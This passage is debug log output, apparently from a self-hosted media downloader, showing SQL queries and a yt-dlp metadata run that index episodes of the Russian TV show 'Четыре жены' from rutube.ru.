s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:37.194 [debug] QUERY OK source="sources" db=0.8ms queue=0.6ms idle=19.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:37.196 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-15 14:20:11Z], 6] 20:59:37.369 [debug] QUERY OK source="media_items" db=171.6ms queue=0.2ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "3b86e91f-f0da-4878-8475-168706a350eb", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", 24, "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, false, false, 6, [], 1, ~U[2024-08-15 14:20:11Z], ~U[2025-12-09 17:59:37Z], ~U[2025-12-09 17:59:37Z], "В этом выпуске примут участие хлебосольная жена Юлия из Зеленограда, жена-спасатель Анжела из Красноярска, жена-йогиня Аида из Казани и ленивая жена Ирина из Воронежа. Кому удастся произвести самое приятное впечатление на соперниц, увидим в программе «Четыре жены».", "Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель", "f5d66f7d3aa23630fbc0032d2125e993", 6038, false, "https://rutube.ru/video/f5d66f7d3aa23630fbc0032d2125e993/", "/downloads/rutubeShows/4 жены/Season 2024/s2024e081500 - Четыре жены 2: Ленивая жена, йогиня, хлебосольная, спасатель.mp4", false, 6, ~U[2024-08-15 14:20:11Z]] 20:59:37.387 [debug] QUERY OK source="sources" db=17.4ms queue=0.1ms idle=180.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:37.389 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.4ms idle=195.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:37.397 [debug] QUERY OK source="media_items" db=6.8ms idle=195.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76347] 20:59:37.398 [debug] Current batch of media processed. Will check again in 1000ms 20:59:38.401 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "duration" => 6105, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", "id" => "a544025693d94614b697556f6a939463", "original_url" => "https://rutube.ru/video/a544025693d94614b697556f6a939463/", "playlist_index" => 25, "timestamp" => 1752166839, "title" => "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "upload_date" => "20250710"} 20:59:38.403 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1032.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:38.408 [debug] QUERY OK source="sources" db=4.7ms queue=0.2ms idle=1015.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:38.413 [debug] QUERY OK source="media_items" db=0.8ms idle=1023.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-10 17:00:39Z], 6] 20:59:38.574 [debug] QUERY OK source="media_items" db=159.5ms idle=1017.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "c25d5aba-7f2a-4255-a601-8abf517ffbb7", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", 25, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, false, false, 6, [], 1, ~U[2025-07-10 17:00:39Z], ~U[2025-12-09 17:59:38Z], ~U[2025-12-09 17:59:38Z], "В этом выпуске примут участие жена миллионера Ирина, жена-выскочка Александра, «правильная» жена Диана и «психанутая» жена Елизавета. Как девушки будут проявлять свою хозяйственность, делиться самореализацией и показывать отношения с мужем, увидим в программе «Четыре жены».", "Четыре жены: Жена миллионера, выскочка, правильная, психанутая", "a544025693d94614b697556f6a939463", 6105, false, "https://rutube.ru/video/a544025693d94614b697556f6a939463/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071000 - Четыре жены: Жена миллионера, выскочка, правильная, психанутая.mp4", false, 6, ~U[2025-07-10 17:00:39Z]] 20:59:38.585 [debug] QUERY OK source="sources" db=10.3ms idle=171.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:38.588 [debug] QUERY OK source="media_profiles" db=2.5ms queue=0.1ms idle=177.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:38.592 [debug] QUERY OK source="media_items" db=2.3ms idle=176.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76348] 20:59:38.593 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "duration" => 6281, "filename" => "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", "id" => "b6c847cab459fda2f4c39486fb8c0320", "original_url" => "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", "playlist_index" => 26, "timestamp" => 1752768008, "title" => "Четыре жены, 2 сезон, 16 выпуск", "upload_date" => "20250717"} 20:59:38.595 [debug] QUERY OK source="sources" db=1.5ms idle=107.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:38.596 [debug] QUERY OK source="sources" db=1.0ms idle=21.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:38.597 [debug] QUERY OK source="media_items" db=0.5ms idle=11.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-17 16:00:08Z], 6] 20:59:38.877 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://rutube.ru/metainfo/tv/294997/ --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rutubeShows/4 жены/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/27/3f/273fb2dacfa851bb428f2e2d2302789536eb8e48226ab2882a61ba71bfc0ea33.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:59:38.892 [debug] QUERY OK source="sources" db=0.5ms idle=299.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [6] 20:59:38.894 [debug] QUERY OK source="sources" db=0.4ms idle=298.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:38.895 [debug] QUERY OK source="media_items" db=0.7ms idle=297.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-03 13:20:18Z], 6] 20:59:38.916 [debug] QUERY OK source="media_items" db=317.8ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "f2d73c42-b5e6-4cdb-9b9e-568414565e99", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", 26, "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, false, false, 6, [], 1, ~U[2025-07-17 16:00:08Z], ~U[2025-12-09 17:59:38Z], ~U[2025-12-09 17:59:38Z], "Четыре жены побывают друг у друга в гостях. Анастасия из Москвы проявит себя как энергичная жена. Лера из Санкт-Петербурга погрузит участниц в мир своих фантазий. Мария из Москвы покажет, как ей удаётся быть женой-суперзвездой. А Диана из станицы Северской расскажет, почему считает себя женой-штурманом. Смотрите программу «Четыре жены»!", "Четыре жены, 2 сезон, 16 выпуск", "b6c847cab459fda2f4c39486fb8c0320", 6281, false, "https://rutube.ru/video/b6c847cab459fda2f4c39486fb8c0320/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e071700 - Четыре жены, 2 сезон, 16 выпуск.mp4", false, 6, ~U[2025-07-17 16:00:08Z]] 20:59:38.936 [debug] QUERY OK source="sources" db=18.9ms idle=24.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:38.939 [debug] QUERY OK source="media_profiles" db=2.4ms queue=0.3ms idle=42.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:59:38.952 [debug] QUERY OK source="media_items" db=12.4ms queue=0.1ms idle=44.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [76349] 20:59:38.952 [debug] Gracefully stopping file follower 20:59:39.040 [debug] QUERY OK source="media_items" db=144.3ms idle=298.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "a205d343-2198-4c8f-bbfd-0c5a941a31ac", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", 1, "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, false, false, 6, [], 1, ~U[2025-07-03 13:20:18Z], ~U[2025-12-09 17:59:38Z], ~U[2025-12-09 17:59:38Z], "«Четыре жены» отправляются в Турцию! Ирина из Стамбула, Мария из Анталии, Женя и Алина из Алании покажут, какими женами они стали. Удалось ли девушкам перенять традиции местных хозяек, реализовать себя в незнакомой для них культуре и укротить горячие сердца своих мужей? Узнаем из программы «Четыре жены».", "Четыре жены: Начинающая жена, огненная, неправильная, капризная", "48339642a1d3fe289d0567dd4c336feb", 6915, false, "https://rutube.ru/video/48339642a1d3fe289d0567dd4c336feb/", "/downloads/rutubeShows/4 жены/Season 2025/s2025e070300 - Четыре жены: Начинающая жена, огненная, неправильная, капризная.mp4", false, 6, ~U[2025-07-03 13:20:18Z]] 20:59:39.050 [debug] QUERY OK source="sources" db=6.4ms queue=0.1ms idle=127.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:39.050 [debug] QUERY OK source="media_items" db=0.4ms idle=114.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-01 14:40:10Z], 6] 20:59:39.140 [debug] QUERY OK source="media_items" db=88.9ms idle=111.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "3e0a86b3-c148-44e3-99b6-1facc68fbd16", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", 2, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, false, false, 6, [], 1, ~U[2023-06-01 14:40:10Z], ~U[2025-12-09 17:59:39Z], ~U[2025-12-09 17:59:39Z], "Участницы программы «Четыре свадьбы» решили показать, какими они стали жёнами. В этом выпуске Ольга из Москвы поделится кулинарными рецептами, которые набрали большое количество просмотров в её блоге, и покажет, как они с мужем проводят вечера в баре. Вика из Челябинска расскажет о своей семейной жизни без бытовых проблем. Диана из Санкт-Петербурга вместе с мужем подготовит для участниц театральный перформанс. А Вика из Москвы покажет, как совмещает заботу о ребёнке с ведением своего блога. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-огонь, пофигистка, творец и любовница", "a29c461295ef58c5be2dbbc4b51b1885", 6176, false, "https://rutube.ru/video/a29c461295ef58c5be2dbbc4b51b1885/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060100 - Четыре жены: Жена-огонь, пофигистка, творец и любовница.mp4", false, 6, ~U[2023-06-01 14:40:10Z]] 20:59:39.143 [debug] QUERY OK source="sources" db=2.3ms idle=188.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:39.144 [debug] QUERY OK source="media_items" db=0.9ms idle=103.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-08 14:40:04Z], 6] 20:59:39.378 [debug] QUERY OK source="media_items" db=232.1ms idle=95.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, 